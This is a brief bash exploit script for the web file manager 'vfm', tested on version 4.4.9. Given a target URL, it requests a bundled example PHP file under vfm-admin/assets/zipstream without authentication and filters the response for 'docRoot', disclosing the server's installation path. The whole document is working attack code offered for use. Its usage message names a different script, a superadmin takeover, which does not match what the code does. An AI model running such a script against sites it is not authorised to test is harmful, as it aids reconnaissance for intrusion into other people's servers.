#!/usr/bin/env bash

##########################################################
########### UNAUTHENTICATED ROOT DIR DISCLOSURE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit unveils the system root directory where the
# application is installed

# - Parameter $1 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]]; then
  echo "[ USAGE ] :: ./unauth-superadmin-takeover.sh <url toroot of vfm installation>/"
  exit 1
fi

curl "$1/vfm-admin/assets/zipstream/grandt/relativepath/RelativePath.Example1.php" 2>/dev/null | grep docRoot